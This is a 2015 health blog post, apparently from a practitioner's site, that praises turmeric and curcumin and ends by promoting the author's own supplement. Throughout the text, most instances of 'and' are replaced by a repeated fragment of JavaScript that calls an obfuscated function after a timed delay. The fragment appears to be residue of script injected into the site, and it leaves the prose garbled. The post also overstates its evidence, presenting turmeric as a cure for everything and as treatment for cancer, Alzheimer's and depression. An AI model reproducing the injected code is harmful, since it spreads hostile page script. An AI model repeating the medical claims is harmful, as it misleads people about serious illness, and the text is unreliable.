The Vegetable That Cures Everything

Posted On : March 12, 2015

Depositphotos_6209714_originalI am not a believer in any one food source being the cure for all ailments. But tumeric has me thinking differently. More andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more research is proving how many health benefits this one naturally occurring root vegetable may contain.

Tumeric is the spice that gives curry its yellow color. It contains a compound called curcumin. Curcumin contributes to Tumeric’s healing capabilities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is a powerful anti-oxidant & anti-inflammatory.

The following are the proven benefits of Tumeric & Curcumin:

Strong anti-inflammatory: Research is now proving that curcumin matches the effectiveness of some anti-inflammatory drugs.

Increases the anti-oxidant capacity of the body: Free radicals form in our body everyday from toxic living. The damage that free radicals create is called oxidative damage. It is believed to be one of the mechanisms behind aging andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many diseases. Antioxidants help protect our bodies from free radical damage. Tumeric & curcumin are packed with antioxidants.

Improves Brain Function: Curcumin boosts levels of the brain hormone BDNF, which increases the growth of new neurons andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fights various degenerative processes in the brain.

Lowers your risk of heart disease: Studies have shown a 65% decrease in reoccurring heart attacks in patients given curcumin.

Can help Prevent (& even treat) Cancer: One study showed that men with colon cancer reduced the number of lesions by 40% when taking 4 grams of curcumin daily for 30 days. Multiple studies have shown that curcumin can reduce the growth of cancerous cells.

Helpful in preventing & treating Alzheimers: Initial studies are showing that tumeric can cross the blood brain barrier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and effect the protein build up on the brain that effects Alzheimers.

Helpful in fighting arthritis: Curcumin is proving to be as helpful as anti-inflammatory drugs in reducing the pain from arthritis.

Incredible benefits in helping with depression a study in 60 depressed patients showed that curcumin was as effective as prozac in alleviating the symptoms of depression.

There are many ways you can get tumeric & curcumin into your diet. One is to cook daily with it. Curcumin is poorly absorbed into the bloodstream, so if you plan on cooking with tumeric be sure to add black pepper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and good fats to increase the absorption of curcumin by 2000%.

Other ways to get tumeric into your daily routine is through juicing. We have added tumeric into our juicing recipes. It doesn’t seem to have much taste andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and easily mixes with other fruits & vegetables.

The easiest andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most consistent way to get this beneficial nutrient into your body is in supplement form. You want it to be a whole-food-based supplement with no additive ingredients or fillers. Our Daily Defense Supplement meets those requirements.

For more information, talk to me at your next appointment or email me questions at drmindypelz@gmail.com